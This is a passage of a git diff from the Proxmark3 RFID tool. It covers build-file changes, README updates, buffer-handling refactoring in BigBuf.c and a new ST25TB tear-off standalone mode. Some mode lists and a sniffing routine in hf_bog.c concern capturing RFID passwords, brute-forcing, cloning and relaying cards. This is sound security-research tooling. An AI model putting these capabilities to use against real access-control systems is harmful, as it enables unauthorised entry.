"*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \ @@ -364,10 +372,12 @@ release: @echo "# - Release Tag: $(VERSION)" @echo "# - Release Name: $(RELEASE_NAME)" # - Removing -Werror... - @find . \( -path "./Makefile.defs" -or -path "./client/Makefile" -or -path "./common_arm/Makefile.common" -or -path "./tools/hitag2crack/*/Makefile" \) -exec sed -i 's/ -Werror//' {} \; - @find . \( -path "./client/deps/*.cmake" -or -path "./client/CMakeLists.txt" \) -exec sed -i 's/ -Werror//' {} \; + @find . \( -path "./Makefile.defs" -or -path "./client/Makefile" -or -path "./common_arm/Makefile.common" -or -path "./tools/hitag2crack/*/Makefile" -or -path "./client/deps/*/Makefile" \) -exec sed -i 's/ -Werror//' {} \; + @find . \( -path "./client/deps/*.cmake" -or -path "./client/CMakeLists.txt" -or -path "./client/experimental_lib/CMakeLists.txt" \) -exec sed -i 's/ -Werror//' {} \; # - Changing banner... + @sed -i "s/^#define BANNERMSG2 .*/#define BANNERMSG2 \" -----------------------------------\"/" client/src/proxmark3.c @sed -i "s/^#define BANNERMSG3 .*/#define BANNERMSG3 \"Release $(VERSION) - $(RELEASE_NAME)\"/" client/src/proxmark3.c + @echo -n "# ";grep "^#define BANNERMSG2" client/src/proxmark3.c @echo -n "# ";grep "^#define BANNERMSG3" client/src/proxmark3.c # - Committing temporarily... @git commit -a -m "Release $(VERSION) - $(RELEASE_NAME)" diff --git a/Makefile.defs b/Makefile.defs index aadb1a98b..2496057fa 100644 --- a/Makefile.defs +++ b/Makefile.defs @@ -53,7 +53,7 @@ USERMOD = usermod -aG ADDUSER = adduser GETENT_BL = getent group bluetooth - +PYTHON3_PKGCONFIG ?= python3 PATHSEP=/ PREFIX ?= /usr/local @@ -112,8 +112,8 @@ ifeq ($(DEBUG),1) DEFCFLAGS = -g -O0 -fstrict-aliasing -pipe DEFLDFLAGS = else - DEFCXXFLAGS = -Wall -O3 -pipe - DEFCFLAGS = -Wall -O3 -fstrict-aliasing -pipe + DEFCXXFLAGS = -Wall -Werror -O3 -pipe + DEFCFLAGS = -Wall -Werror -O3 -fstrict-aliasing -pipe DEFLDFLAGS = endif diff --git a/Makefile.platform.sample b/Makefile.platform.sample index 2661a0720..b8850e76d 100644 --- a/Makefile.platform.sample +++ b/Makefile.platform.sample @@ -1,19 +1,39 @@ # If you want to use it, copy this file as Makefile.platform and adjust it to your needs # Run 'make PLATFORM=' to get an exhaustive list of possible parameters for this file. +# By default PM3 RDV4 image is generated. +# Comment the line below and uncomment further down according to which device you have PLATFORM=PM3RDV4 + +# For PM3 RDV1, RDV2, Easy or rysccorps etc +# uncomment the line below #PLATFORM=PM3GENERIC + +# For ICOPY-X and PM3 Max: +# uncomment the two lines below +#PLATFORM=PM3ICOPYX +#PLATFORM_EXTRAS=FLASH + +# For PM3 Ultimate: +# uncomment the line below +#PLATFORM=PM3ULTIMATE + # If you want more than one PLATFORM_EXTRAS option, separate them by spaces: #PLATFORM_EXTRAS=BTADDON #PLATFORM_EXTRAS=FLASH #PLATFORM_EXTRAS=SMARTCARD -#PLATFORM_EXTRAS=BTADDON FLASH -#STANDALONE=LF_SAMYRUN +#PLATFORM_EXTRAS=BTADDON FPC_USART_DEV FLASH +#STANDALONE=HF_UNISNIFF + # Uncomment the line below to set the correct LED order on board Proxmark3 Easy # Only available with PLATFORM=PM3GENERIC #LED_ORDER=PM3EASY +# Uncomment a line below to change default USART baud rate +# defaults to 115200 used by HC-05 in Blueshark +#USART_BAUD_RATE=19200 + # Uncomment the lines below in order to make a 256KB image # and comment out the lines above diff --git a/README.md b/README.md index 64ae86137..9418c837a 100644 --- a/README.md +++ b/README.md @@ -60,7 +60,8 @@ The Proxmark3 is the swiss-army tool of RFID, allowing for interactions with the |[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode)|[Notes on Magic UID cards](/doc/magic_cards_notes.md)| |[Notes on Color usage](/doc/colors_notes.md)|[Makefile vs CMake](/doc/md/Development/Makefile-vs-CMake.md)|[Notes on Cloner guns](/doc/cloner_notes.md)| |[Notes on cliparser usage](/doc/cliparser.md)|[Notes on clocks](/doc/clocks.md)|[Notes on MIFARE DESFire](/doc/desfire.md)| -|[Notes on CIPURSE](/doc/cipurse.md)|[Notes on NDEF type4a](/doc/ndef_type4a.md)|[Notes on downgrade attacks](/doc/hid_downgrade.md)| +|[Notes on CIPURSE](/doc/cipurse.md)|[Notes on NDEF type4a](/doc/ndef_type4a.md)|[Unofficial MIFARE DESFire bible](/doc/unofficial_desfire_bible.md)| +[Notes on downgrade attacks](/doc/hid_downgrade.md)||| # How to build? @@ -96,12 +97,14 @@ We define generic Proxmark3 platforms as following devices. - **Note**: currently incompatible with iCopy-X GUI as Proxmark client commands using different syntax - **Note**: see also [icopyx-community repos](https://github.com/iCopy-X-Community/) for upstream sources, reversed hw etc. - **Note**: Uses DRM to lock down tags, ignores the open source licences. Use on your own risk. +- ⚠ Proxmark3 Ultimate + - **Note**: unknown device hw + - **Note**: FPGA images is building for it. Use on your own risk. **Unknown support status** - ⚠ VX - **Note**: unknown device hw -- ⚠ Proxmark3 Ultimate - - **Note**: unknown device hw + When it comes to these new unknown models we are depending on the community to report in if this repo works and what they did to make it work. @@ -180,10 +183,11 @@ We usually merge your contributions fast since we do like the idea of getting a The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public-Roadmap) is an excellent start to read if you are interesting in contributing. -## Supported operative systems +## Supported operating systems This repo compiles nicely on - WSL1 on Windows 10 + - WSL2 on Windows 10/11 - Proxspace environment [release v3.xx](https://github.com/Gator96100/ProxSpace/releases) - Windows/MinGW environment - Ubuntu, ParrotOS, Gentoo, Pentoo, Kali, NetHunter, Arch Linux, Fedora, Debian, Raspbian diff --git a/armsrc/BigBuf.c b/armsrc/BigBuf.c index 1a2a64d06..d3478db53 100644 --- a/armsrc/BigBuf.c +++ b/armsrc/BigBuf.c @@ -30,7 +30,7 @@ extern uint32_t _stack_start[], __bss_end__[]; // BigBuf is the large multi-purpose buffer, typically used to hold A/D samples or traces. // Also used to hold various smaller buffers and the Mifare Emulator Memory. // We know that bss is aligned to 4 bytes. -static uint8_t *BigBuf = (uint8_t *)__bss_end__; +static uint8_t *const BigBuf = (uint8_t *)__bss_end__; /* BigBuf memory layout: Pointer to highest available memory: s_bigbuf_hi @@ -45,7 +45,7 @@ static uint32_t s_bigbuf_size = 0; static uint32_t s_bigbuf_hi = 0; // pointer to the emulator memory. -static uint8_t *emulator_memory = NULL; +static uint8_t *s_emulator_memory = NULL; //============================================================================= // The ToSend buffer. @@ -53,7 +53,7 @@ static uint8_t *emulator_memory = NULL; // any purpose (fake tag, as reader, whatever). We go MSB first, since that // is the order in which they go out on the wire. //============================================================================= -static tosend_t toSend = { +static tosend_t s_toSend = { .max = -1, .bit = 8, .buf = NULL @@ -62,25 +62,25 @@ static tosend_t toSend = { // The dmaBuf 16bit buffer. // A buffer where we receive IQ samples sent from the FPGA, for demodulating //============================================================================= -static dmabuf16_t dma_16 = { +static dmabuf16_t s_dma_16 = { .size = DMA_BUFFER_SIZE, .buf = NULL }; // dmaBuf 8bit buffer -static dmabuf8_t dma_8 = { +static dmabuf8_t s_dma_8 = { .size = DMA_BUFFER_SIZE, .buf = NULL }; // trace related variables -static uint32_t trace_len = 0; -static bool tracing = true; +static uint32_t s_trace_len = 0; +static bool s_tracing = true; // compute the available size for BigBuf void BigBuf_initialize(void) { s_bigbuf_size = (uint32_t)_stack_start - (uint32_t)__bss_end__; s_bigbuf_hi = s_bigbuf_size; - trace_len = 0; + s_trace_len = 0; } // get the address of BigBuf @@ -95,10 +95,10 @@ uint32_t BigBuf_get_size(void) { // get the address of the emulator memory. Allocate part of Bigbuf for it, if not yet done uint8_t *BigBuf_get_EM_addr(void) { // not yet allocated - if (emulator_memory == NULL) { - emulator_memory = BigBuf_calloc(CARD_MEMORY_SIZE); + if (s_emulator_memory == NULL) { + s_emulator_memory = BigBuf_calloc(CARD_MEMORY_SIZE); } - return emulator_memory; + return s_emulator_memory; } uint32_t BigBuf_get_hi(void) { @@ -121,7 +121,7 @@ void BigBuf_Clear_ext(bool verbose) { memset(BigBuf, 0, s_bigbuf_size); clear_trace(); if (verbose) { - Dbprintf("Buffer cleared (%i bytes)", s_bigbuf_size); + if (g_dbglevel >= DBG_ERROR) Dbprintf("Buffer cleared (%i bytes)", s_bigbuf_size); } } @@ -138,8 +138,9 @@ void BigBuf_Clear_keep_EM(void) { uint8_t *BigBuf_malloc(uint16_t chunksize) { chunksize = (chunksize + BIGBUF_ALIGN_BYTES - 1) & BIGBUF_ALIGN_MASK; // round up to next multiple of 4 - if (s_bigbuf_hi < chunksize) { - return NULL; // no memory left + if (s_bigbuf_hi - s_trace_len < chunksize || chunksize == 0) { + // no memory left or chunksize too large + return NULL; } s_bigbuf_hi -= chunksize; // aligned to 4 Byte boundary @@ -159,23 +160,23 @@ uint8_t *BigBuf_calloc(uint16_t chunksize) { // free ALL allocated chunks. The whole BigBuf is available for traces or samples again. void BigBuf_free(void) { s_bigbuf_hi = s_bigbuf_size; - emulator_memory = NULL; + s_emulator_memory = NULL; // shouldn't this empty BigBuf also? - toSend.buf = NULL; - dma_16.buf = NULL; - dma_8.buf = NULL; + s_toSend.buf = NULL; + s_dma_16.buf = NULL; + s_dma_8.buf = NULL; } // free allocated chunks EXCEPT the emulator memory void BigBuf_free_keep_EM(void) { - if (emulator_memory != NULL) - s_bigbuf_hi = emulator_memory - (uint8_t *)BigBuf; + if (s_emulator_memory != NULL) + s_bigbuf_hi = s_emulator_memory - (uint8_t *)BigBuf; else s_bigbuf_hi = s_bigbuf_size; - toSend.buf = NULL; - dma_16.buf = NULL; - dma_8.buf = NULL; + s_toSend.buf = NULL; + s_dma_16.buf = NULL; + s_dma_8.buf = NULL; } void BigBuf_print_status(void) { @@ -183,23 +184,23 @@ void BigBuf_print_status(void) { Dbprintf(" BigBuf_size............. %d", s_bigbuf_size); Dbprintf(" Available memory........ %d", s_bigbuf_hi); DbpString(_CYAN_("Tracing")); - Dbprintf(" tracing ................ %d", tracing); - Dbprintf(" traceLen ............... %d", trace_len); + Dbprintf(" tracing ................ %d", s_tracing); + Dbprintf(" traceLen ............... %d", s_trace_len); if (g_dbglevel >= DBG_DEBUG) { DbpString(_CYAN_("Sending buffers")); uint16_t d8 = 0; - if (dma_8.buf) - d8 = dma_8.buf - BigBuf_get_addr(); + if (s_dma_8.buf) + d8 = s_dma_8.buf - BigBuf_get_addr(); uint16_t d16 = 0; - if (dma_16.buf) - d16 = (uint8_t *)dma_16.buf - BigBuf_get_addr(); + if (s_dma_16.buf) + d16 = (uint8_t *)s_dma_16.buf - BigBuf_get_addr(); uint16_t ts = 0; - if (toSend.buf) - ts = toSend.buf - BigBuf_get_addr(); + if (s_toSend.buf) + ts = s_toSend.buf - BigBuf_get_addr(); Dbprintf(" dma8 memory............. %u", d8); Dbprintf(" dma16 memory............ %u", d16); @@ -213,19 +214,19 @@ uint16_t BigBuf_max_traceLen(void) { } void clear_trace(void) { - trace_len = 0; + s_trace_len = 0; } void set_tracelen(uint32_t value) { - trace_len = value; + s_trace_len = value; } void set_tracing(bool enable) { - tracing = enable; + s_tracing = enable; } bool get_tracing(void) { - return tracing; + return s_tracing; } /** @@ -233,7 +234,7 @@ bool get_tracing(void) { * @return */ uint32_t BigBuf_get_traceLen(void) { - return trace_len; + return s_trace_len; } /** @@ -243,18 +244,23 @@ uint32_t BigBuf_get_traceLen(void) { annotation of commands/responses. **/ bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_start, uint32_t timestamp_end, const uint8_t *parity, bool reader2tag) { - if (tracing == false) { + if (btBytes == NULL || s_tracing == false) { return false; } - uint8_t *trace = BigBuf_get_addr(); - tracelog_hdr_t *hdr = (tracelog_hdr_t *)(trace + trace_len); + // Ignore too-small or too-large logs + if (iLen == 0 || iLen >= (1 << 15)) { + return false; + } - uint16_t num_paritybytes = (iLen - 1) / 8 + 1; // number of valid paritybytes in *parity + // number of valid paritybytes in *parity + const uint16_t num_paritybytes = (iLen - 1) / 8 + 1; - // Return when trace is full - if (TRACELOG_HDR_LEN + iLen + num_paritybytes >= BigBuf_max_traceLen() - trace_len) { - tracing = false; + // Disable tracing and return when trace is full + const uint32_t max_trace_len = BigBuf_max_traceLen(); + const uint32_t trace_entry_len = TRACELOG_HDR_LEN + iLen + num_paritybytes; + if (s_trace_len >= max_trace_len || trace_entry_len >= max_trace_len - s_trace_len) { + s_tracing = false; return false; } @@ -274,27 +280,19 @@ bool RAMFUNC LogTrace(const uint8_t *btBytes, uint16_t iLen, uint32_t timestamp_ duration = 0xFFFF; } + tracelog_hdr_t *hdr = (tracelog_hdr_t *)(BigBuf_get_addr() + s_trace_len); hdr->timestamp = timestamp_start; hdr->duration = duration & 0xFFFF; hdr->data_len = iLen; hdr->isResponse = !reader2tag; - trace_len += TRACELOG_HDR_LEN; - - // data bytes - if (btBytes != NULL && iLen != 0) { - memcpy(hdr->frame, btBytes, iLen); - trace_len += iLen; + memcpy(hdr->frame, btBytes, iLen); + if (parity != NULL) { + memcpy(&hdr->frame[iLen], parity, num_paritybytes); + } else { + memset(&hdr->frame[iLen], 0x00, num_paritybytes); } - // parity bytes - if (num_paritybytes != 0) { - if (parity != NULL) { - memcpy(trace + trace_len, parity, num_paritybytes); - } else { - memset(trace + trace_len, 0x00, num_paritybytes); - } - trace_len += num_paritybytes; - } + s_trace_len += trace_entry_len; return true; } @@ -323,6 +321,10 @@ bool RAMFUNC LogTraceBits(const uint8_t *btBytes, uint16_t bitLen, uint32_t time // Emulator memory int emlSet(const uint8_t *data, uint32_t offset, uint32_t length) { uint8_t *mem = BigBuf_get_EM_addr(); + if (mem == NULL) { + return PM3_EMALLOC; + } + if (offset + length <= CARD_MEMORY_SIZE) { memcpy(mem + offset, data, length); return PM3_SUCCESS; @@ -334,6 +336,10 @@ int emlSet(const uint8_t *data, uint32_t offset, uint32_t length) { int emlGet(uint8_t *out, uint32_t offset, uint32_t length) { uint8_t *mem = BigBuf_get_EM_addr(); + if (mem == NULL) { + return PM3_EMALLOC; + } + if (offset + length <= CARD_MEMORY_SIZE) { memcpy(out, mem + offset, length); return PM3_SUCCESS; @@ -347,51 +353,51 @@ int emlGet(uint8_t *out, uint32_t offset, uint32_t length) { // get the address of the ToSend buffer. Allocate part of Bigbuf for it, if not yet done tosend_t *get_tosend(void) { - if (toSend.buf == NULL) { - toSend.buf = BigBuf_malloc(TOSEND_BUFFER_SIZE); + if (s_toSend.buf == NULL) { + s_toSend.buf = BigBuf_calloc(TOSEND_BUFFER_SIZE); } - return &toSend; + return &s_toSend; } void tosend_reset(void) { - toSend.max = -1; - toSend.bit = 8; + s_toSend.max = -1; + s_toSend.bit = 8; } void tosend_stuffbit(int b) { - if (toSend.max >= TOSEND_BUFFER_SIZE - 1) { - Dbprintf(_RED_("toSend overflow")); + if (s_toSend.max >= TOSEND_BUFFER_SIZE - 1) { + Dbprintf(_RED_("s_toSend overflow")); return; } - if (toSend.bit >= 8) { - toSend.max++; - toSend.buf[toSend.max] = 0; - toSend.bit = 0; + if (s_toSend.bit >= 8) { + s_toSend.max++; + s_toSend.buf[s_toSend.max] = 0; + s_toSend.bit = 0; } - if (b) - toSend.buf[toSend.max] |= (1 << (7 - toSend.bit)); + if (b) { + s_toSend.buf[s_toSend.max] |= (1 << (7 - s_toSend.bit)); + } - toSend.bit++; + s_toSend.bit++; - if (toSend.max >= TOSEND_BUFFER_SIZE) { - toSend.bit = 0; + if (s_toSend.max >= TOSEND_BUFFER_SIZE) { + s_toSend.bit = 0; } } dmabuf16_t *get_dma16(void) { - if (dma_16.buf == NULL) { - dma_16.buf = (uint16_t *)BigBuf_malloc(DMA_BUFFER_SIZE * sizeof(uint16_t)); + if (s_dma_16.buf == NULL) { + s_dma_16.buf = (uint16_t *)BigBuf_calloc(DMA_BUFFER_SIZE * sizeof(uint16_t)); } - - return &dma_16; + return &s_dma_16; } dmabuf8_t *get_dma8(void) { - if (dma_8.buf == NULL) - dma_8.buf = BigBuf_malloc(DMA_BUFFER_SIZE); - - return &dma_8; + if (s_dma_8.buf == NULL) { + s_dma_8.buf = BigBuf_calloc(DMA_BUFFER_SIZE); + } + return &s_dma_8; } diff --git a/armsrc/BigBuf.h b/armsrc/BigBuf.h index f73af3818..366b7c802 100644 --- a/armsrc/BigBuf.h +++ b/armsrc/BigBuf.h @@ -23,9 +23,13 @@ #define MAX_FRAME_SIZE 256 // maximum allowed ISO14443 frame #define MAX_PARITY_SIZE ((MAX_FRAME_SIZE + 7) / 8) -#define MAX_MIFARE_FRAME_SIZE 18 // biggest Mifare frame is answer to a read (one block = 16 Bytes) + 2 Bytes CRC -#define MAX_MIFARE_PARITY_SIZE 3 // need 18 parity bits for the 18 Byte above. 3 Bytes are enough to store these +#define MAX_MIFARE_FRAME_SIZE 19 // biggest Mifare frame is UL AES answer to AUTH (1 + 16 Bytes) + 2 Bytes CRC +#define MAX_MIFARE_PARITY_SIZE 3 // need 19 parity bits for the 19 Byte above. 3 Bytes are enough to store these #define CARD_MEMORY_SIZE 4096 +// For now we're storing FM11RF08S nonces in the upper 1k of CARD_MEMORY_SIZE +// but we might have to allocate extra space if one day we've to support sth like a FM11RF32S +#define CARD_MEMORY_RF08S_OFFSET 1024 + //#define DMA_BUFFER_SIZE (512 + 256) #define DMA_BUFFER_SIZE 512 diff --git a/armsrc/Makefile b/armsrc/Makefile index b784c0a85..9929b3ae3 100644 --- a/armsrc/Makefile +++ b/armsrc/Makefile @@ -37,7 +37,8 @@ APP_CFLAGS = $(PLATFORM_DEFS) \ SRC_LF = lfops.c lfsampling.c pcf7931.c lfdemod.c lfadc.c SRC_HF = hfops.c SRC_ISO15693 = iso15693.c iso15693tools.c -SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c sam_mfc.c sam_seos.c +SRC_ISO14443a = iso14443a.c mifareutil.c mifarecmd.c epa.c mifaresim.c sam_common.c sam_mfc.c sam_seos.c + #UNUSED: mifaresniff.c SRC_ISO14443b = iso14443b.c SRC_FELICA = felica.c @@ -59,7 +60,7 @@ else endif ifneq (,$(findstring WITH_SMARTCARD,$(APP_CFLAGS))) - SRC_SMARTCARD = i2c.c + SRC_SMARTCARD = i2c.c i2c_direct.c emvsim.c else SRC_SMARTCARD = endif @@ -71,7 +72,7 @@ else endif ifneq (,$(findstring WITH_HITAG,$(APP_CFLAGS))) - SRC_HITAG = hitag2_crypto.c hitag2.c hitagS.c hitag2_crack.c + SRC_HITAG = hitag2_crypto.c hitag_common.c hitag2.c hitagS.c hitagu.c hitag2_crack.c APP_CFLAGS += -I../common/hitag2 else SRC_HITAG = @@ -185,7 +186,7 @@ showinfo: # version_pm3.c should be checked on every time fullimage.stage1.elf should be remade version_pm3.c: default_version_pm3.c $(OBJDIR)/fpga_version_info.o $(OBJDIR)/fpga_all.o $(THUMBOBJ) $(ARMOBJ) .FORCE $(info [-] CHECK $@) - $(Q)$(CP) $< $@ + $(Q)$(SH) ../tools/mkversion.sh $@ || $(CP) $< $@ fpga_version_info.c: $(FPGA_BITSTREAMS) $(FPGA_COMPRESSOR) $(info [-] GEN $@) diff --git a/armsrc/Standalone/Makefile.hal b/armsrc/Standalone/Makefile.hal index 91d87dd14..b521da878 100644 --- a/armsrc/Standalone/Makefile.hal +++ b/armsrc/Standalone/Makefile.hal @@ -119,6 +119,9 @@ define KNOWN_STANDALONE_DEFINITIONS | HF_REBLAY | 14A Relay over BT | | (RDV4 only) | - Salvador Mendoza | +----------------------------------------------------------+ +| HF_ST25_TEAROFF | Store/restore ST25TB tags with | +| | tear-off for counters - SecLabz | ++----------------------------------------------------------+ | HF_TCPRST | IKEA Rothult read/sim/dump/emul | | | - Nick Draffen | +----------------------------------------------------------+ @@ -139,11 +142,11 @@ endef STANDALONE_MODES := LF_SKELETON STANDALONE_MODES += LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE -STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG +STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG STANDALONE_MODES += DANKARMULTI STANDALONE_MODES_REQ_BT := HF_CARDHOPPER HF_REBLAY STANDALONE_MODES_REQ_SMARTCARD := -STANDALONE_MODES_REQ_FLASH := LF_HIDFCBRUTE LF_ICEHID LF_NEXID LF_THAREXDE HF_BOG HF_COLIN HF_ICECLASS HF_LEGICSIM HF_MFCSIM +STANDALONE_MODES_REQ_FLASH := LF_HIDFCBRUTE LF_ICEHID LF_NEXID LF_THAREXDE HF_BOG HF_COLIN HF_ICECLASS HF_LEGICSIM HF_MFCSIM HF_ST25_TEAROFF ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),) STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE) ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),) diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc index 5873c0aff..d4c858e8b 100644 --- a/armsrc/Standalone/Makefile.inc +++ b/armsrc/Standalone/Makefile.inc @@ -157,6 +157,10 @@ endif ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS))) SRC_STANDALONE = hf_young.c endif +# WITH_STANDALONE_HF_ST25_TEAROFF +ifneq (,$(findstring WITH_STANDALONE_HF_ST25_TEAROFF,$(APP_CFLAGS))) + SRC_STANDALONE = hf_st25_tearoff.c +endif ifneq (,$(findstring WITH_STANDALONE_DANKARMULTI,$(APP_CFLAGS))) SRC_STANDALONE = dankarmulti.c diff --git a/armsrc/Standalone/dankarmulti.c b/armsrc/Standalone/dankarmulti.c index 81fc379c8..f127a1b74 100644 --- a/armsrc/Standalone/dankarmulti.c +++ b/armsrc/Standalone/dankarmulti.c @@ -106,13 +106,11 @@ END_MODE_LIST * End mode list * *******************/ -void update_mode(int selected); - void ModInfo(void) { DbpString(" Multi standalone loader aka dankarmulti (Daniel Karling)"); } -void update_mode(int selected) { +static void update_mode(int selected) { if (selected >= NUM_MODES) { SpinDown(100); Dbprintf("Invalid mode selected"); diff --git a/armsrc/Standalone/hf_15sim.c b/armsrc/Standalone/hf_15sim.c index b156f3b1b..eb5736ca5 100644 --- a/armsrc/Standalone/hf_15sim.c +++ b/armsrc/Standalone/hf_15sim.c @@ -70,7 +70,9 @@ void RunMod(void) { FpgaDownloadAndGo(FPGA_BITSTREAM_HF_15); iso15_tag_t *tag = (iso15_tag_t *) BigBuf_get_EM_addr(); - if (tag == NULL) return; + if (tag == NULL) { + return; + } uint8_t cmd[8] = {0}; int res; diff --git a/armsrc/Standalone/hf_aveful.c b/armsrc/Standalone/hf_aveful.c index e8797f89d..d634f819c 100644 --- a/armsrc/Standalone/hf_aveful.c +++ b/armsrc/Standalone/hf_aveful.c @@ -67,38 +67,32 @@ typedef struct { uint8_t sak; } PACKED card_clone_t; -int get_block_count(iso14a_card_select_t card, uint8_t *version, uint16_t version_len); -uint16_t get_ev1_version(iso14a_card_select_t card, uint8_t *version, uint16_t version_len); -uint16_t get_ev1_signature(iso14a_card_select_t card, uint8_t *signature, uint16_t sign_len); -uint16_t get_ev1_counter(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len); -uint16_t get_ev1_tearing(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len); - -uint16_t get_ev1_version(iso14a_card_select_t card, uint8_t *version, uint16_t version_len) { +static uint16_t get_ev1_version(iso14a_card_select_t card, uint8_t *version, uint16_t version_len) { return mifare_sendcmd(MIFARE_ULEV1_VERSION, NULL, 0, version, version_len, NULL, NULL); } -uint16_t get_ev1_signature(iso14a_card_select_t card, uint8_t *signature, uint16_t sign_len) { +static uint16_t get_ev1_signature(iso14a_card_select_t card, uint8_t *signature, uint16_t sign_len) { uint8_t cmd[4] = {MIFARE_ULEV1_READSIG, 0x00, 0x00, 0x00}; AddCrc14A(cmd, 2); ReaderTransmit(cmd, sizeof(cmd), NULL); return ReaderReceive(signature, sign_len, NULL); } -uint16_t get_ev1_counter(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) { +static uint16_t get_ev1_counter(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) { uint8_t cmd[4] = {MIFARE_ULEV1_READ_CNT, counter, 0x00, 0x00}; AddCrc14A(cmd, 2); ReaderTransmit(cmd, sizeof(cmd), NULL); return ReaderReceive(response, resp_len, NULL); } -uint16_t get_ev1_tearing(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) { +static uint16_t get_ev1_tearing(iso14a_card_select_t card, uint8_t counter, uint8_t *response, uint16_t resp_len) { uint8_t cmd[4] = {MIFARE_ULEV1_CHECKTEAR, counter, 0x00, 0x00}; AddCrc14A(cmd, 2); ReaderTransmit(cmd, sizeof(cmd), NULL); return ReaderReceive(response, resp_len, NULL); } -int get_block_count(iso14a_card_select_t card, uint8_t *version, uint16_t version_len) { +static int get_block_count(iso14a_card_select_t card, const uint8_t *version, uint16_t version_len) { // Default to MAX_DEFAULT_BLOCKS blocks int block_count = MAX_DEFAULT_BLOCKS; // Most of this code is from cmdhfmfu.c @@ -163,7 +157,7 @@ void RunMod(void) { if (button_pressed != BUTTON_NO_CLICK || data_available()) break; else if (state == STATE_SEARCH) { - if (!iso14443a_select_card(NULL, &card, NULL, true, 0, true)) { + if (iso14443a_select_card(NULL, &card, NULL, true, 0, true) == 0) { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LED_D_OFF(); SpinDelay(500); @@ -248,10 +242,11 @@ void RunMod(void) { state = STATE_SEARCH; } } else if (state == STATE_EMUL) { - uint16_t flags = FLAG_7B_UID_IN_DATA; + uint16_t flags = 0; + FLAG_SET_UID_IN_DATA(flags, 7); Dbprintf("Starting simulation, press " _GREEN_("pm3 button") " to stop and go back to search state."); - SimulateIso14443aTag(7, flags, card.uid, 0); + SimulateIso14443aTag(7, flags, card.uid, 0, NULL, 0, false, false); // Go back to search state if user presses pm3-button state = STATE_SEARCH; diff --git a/armsrc/Standalone/hf_bog.c b/armsrc/Standalone/hf_bog.c index f7ed9f947..d5d94fe0f 100644 --- a/armsrc/Standalone/hf_bog.c +++ b/armsrc/Standalone/hf_bog.c @@ -60,22 +60,21 @@ static void RAMFUNC SniffAndStore(uint8_t param) { // free all previous allocations first BigBuf_free(); BigBuf_Clear_ext(false); - clear_trace(); set_tracing(true); // Array to store the authpwds - uint8_t *capturedPwds = BigBuf_malloc(4 * MAX_PWDS_PER_SESSION); + uint8_t *capturedPwds = BigBuf_calloc(4 * MAX_PWDS_PER_SESSION); // The command (reader -> tag) that we're receiving. - uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); - uint8_t *receivedCmdPar = BigBuf_malloc(MAX_PARITY_SIZE); + uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedCmdPar = BigBuf_calloc(MAX_PARITY_SIZE); // The response (tag -> reader) that we're receiving. - uint8_t *receivedResp = BigBuf_malloc(MAX_FRAME_SIZE); - uint8_t *receivedRespPar = BigBuf_malloc(MAX_PARITY_SIZE); + uint8_t *receivedResp = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedRespPar = BigBuf_calloc(MAX_PARITY_SIZE); // The DMA buffer, used to stream samples from the FPGA - uint8_t *dmaBuf = BigBuf_malloc(DMA_BUFFER_SIZE); + uint8_t *dmaBuf = BigBuf_calloc(DMA_BUFFER_SIZE); uint8_t *data = dmaBuf; uint8_t previous_data = 0; @@ -134,13 +133,13 @@ static void RAMFUNC SniffAndStore(uint8_t param) { continue; // primary buffer was stopped( <-- we lost data! - if (!AT91C_BASE_PDC_SSC->PDC_RCR) { + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf; AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; // Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary } // secondary buffer sets as primary, secondary buffer was stopped - if (!AT91C_BASE_PDC_SSC->PDC_RNCR) { + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf; AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; } diff --git a/armsrc/Standalone/hf_cardhopper.c b/armsrc/Standalone/hf_cardhopper.c index f36b5bb61..d199dcdab 100644 --- a/armsrc/Standalone/hf_cardhopper.c +++ 